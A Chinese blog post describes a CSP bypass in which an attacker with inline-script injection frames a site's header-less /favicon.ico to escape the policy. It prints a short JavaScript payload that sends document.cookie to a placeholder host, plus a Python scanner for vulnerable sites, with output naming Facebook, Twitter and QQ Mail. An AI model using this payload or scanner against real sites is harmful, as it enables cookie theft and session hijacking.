evil favicon.ico,是什么让 CSP 形同虚设

随着安全的重视越来越多站上了 CSP 头,但是我惊讶的发现,由于架构的一些原因,这个CSP头并不是全站的,这很可能导致精心设计的CSP头完全失效,其中大部分网站的/favicon.ico都不存在CSP头。

当script-src存在unsafe-*等设置时,CSP可以被轻易一段js的绕过。当然这个设置存在已经代表unsafe,并且绕过方法也很多。

由于favicon.ico与任意网站下存在 CSP头 的页面是同源的,被frame住后,在其中执行任意的代码,都只限制与frame内的页面的CSP设置(即favicon.ico页面下的 CSP 设置,为空)。

在存在 CSP 且可unsafe-inline能注入js的页面中执行下面的语句,攻击者即可发送cookie出去。

var xframe = document.body.appendChild(document.createElement("iframe"));

xframe.contentWindow.open('/favicon.ico','_self');

xframe.contentWindow.document.write('<img src="//xxx/?"'+document.cookie+'>');


我顺便设计了一个py脚本来检测这些不安全的网站:

import re
import requests


def parse_args():
	import argparse
	parser = argparse.ArgumentParser()
	parser.add_argument('-s', '--site', type=str, required=True, help="Target site.")
	return parser.parse_args()


def test_CSP_info(site):
	headers = {
		'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36'
	}
	req = requests.get(site,headers=headers)
	if req.status_code != 200:
		print '[!]Invalid site.'
		exit(1)
	okflag = 0
	headerName = 'Content-Security-Policy'
	for header in req.headers:
		if 'Content-Security-Policy'.lower() == header.lower():
			headerName = header
			okflag = 1
	if okflag == 0:
		print '[!]No CSP in this site.'
		exit(1)
	cspInfo = req.headers[headerName]
	scriptSrc = re.findall(r"script-src(.+?);",cspInfo)[0]
	if 'unsafe-' in scriptSrc and 'nonce' not in scriptSrc:
		print '[+]CSP script-src unsafe-* test ok.'
		return 0
	else:
		print '[!]CSP script-src unsafe-* test fail.'
		exit(1)

def test_favicon(site):
	headers = {
		'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36'
	}
	req = requests.get(site+'/favicon.ico',headers=headers)
	if req.status_code != 200:
		print '[!]Invalid site.'
		exit(1)
	for header in req.headers:
		if 'Content-Security-Policy'.lower() == header.lower():
			print '[!]This site\'s CSP can not be bypassed.'
			exit(1)

	print '[yes]This site\'s CSP can be bypassed.'
	exit(0)




def main():
	args = parse_args()
	target = args.site
	if 'http' != target[:4]:
		target = 'http://' + target
	test_CSP_info(target)
	test_favicon(target)






main()


发现很多网站都存在这个问题,唉~

[root@xxx myJobs]# python test.py -s https://www.facebook.com
[+]CSP script-src unsafe-* test ok.
[yes]This site's CSP can be bypassed.
[root@xxx myJobs]# python test.py -s https://www.twitter.com
[+]CSP script-src unsafe-* test ok.
[yes]This site's CSP can be bypassed.
[root@xxx myJobs]# python test.py -s https://mail.qq.com
[+]CSP script-src unsafe-* test ok.
[yes]This site's CSP can be bypassed.

转载请注明出处: www.nohackair.net